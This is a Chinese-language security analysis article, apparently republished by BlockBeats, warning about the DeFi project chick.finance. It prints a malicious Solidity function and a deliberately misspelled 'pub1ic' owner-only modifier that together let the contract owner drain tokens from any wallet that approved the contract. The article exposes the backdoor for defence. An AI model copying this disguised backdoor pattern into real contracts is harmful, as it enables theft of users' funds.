原文標題:《關於 DeFi 流動性挖礦項目 chick.finance 惡意合約代碼的詳細分析》
原文來源:比特派
前言:8月24日,YFII 社區核心開發者在審計 Vault 機槍池備選項目 click.finance 合約時發現,即將上線的流動性挖礦項目 chick.finance 的合約代碼與 GitHub 平臺展示的不同,modifer 被惡意修改爲「pub1ic」,這導致該項目存在資金危險。
就在剛剛,YFII 通報了 chick.finance 合約代碼的風險,不過其中提到的「用戶充值的所有代幣,開發者都有權限提取」這句話其實並不是完全準確的,因此在這裏我們需要給大家做下更詳細的描述:
該合約惡意代碼的問題並不在於「開發者事發後能提取用戶存在合約中的代幣」(開發者本來就能幹這事兒),而在於對於任何給該合約授權了的用戶,開發者都能把你錢包裏的代幣一掃而空(不僅僅是你存入合約的),這正是比特派安全實驗室在之前的那篇《以太坊 Defi 生態當前最大的安全隱患》一文中提到的「濫用合約授權問題」。
惡意代碼是如下這段:function startReward(address _from, uint256 amount) external pub1ic{ weth.safeTransferFrom(_from, owner(), amount); }
開發者對故意拼寫錯誤的 pub1ic 做了如下約束(也就是隻有合約 Owner 才能調用,如果沒這個調用,那就變成誰都能幹這事兒了,開發者想的是自己偷,肯定不想讓別人偷)
modifier pub1ic() { require(isOwner(), "Ownable: caller is not the owner"); _; }
上述代碼的邏輯很簡單,乾的就是那些給這個合約授權了的用戶,合約 Owner 都能把你的代幣轉給 Owner,就這麼簡單。
這其實是 DeFi 生態裏非常嚴重的惡性事件,理應引起全行業的重視,因爲這次可能惡意開發者只是用拼寫錯誤的方式來試圖矇騙大家(把 public 寫成 pub1ic),然後很幸運的第一時間被發現了,那下次呢?是不是可以寫出邏輯複雜並且很難被看出來的漏洞,靜靜的等待上線把各位的錢包一掃而空呢?要再次強調的是,這個例子中,您損失的可不僅僅是您存入合約的資產,而是你錢包裏的全部資產,明白了嗎?
我們之前在向全行業提出「濫用合約授權」問題的時候,就曾預計到可能會有開發者作惡的情況出現,沒想到這一天來的這麼快,這次代碼僞裝的比較蠢,那下次呢?下次 DeFi 礦工們是否還能躲得過去了呢?
相關閱讀:《警告:流動性挖礦項目 chick.finance 合約存在致命風險,請不要參與》
歡迎加入律動 BlockBeats 官方社群:
Telegram 訂閱群:https://t.me/theblockbeats
Telegram 交流群:https://t.me/BlockBeats_App
Twitter 官方帳號:https://twitter.com/BlockBeatsAsia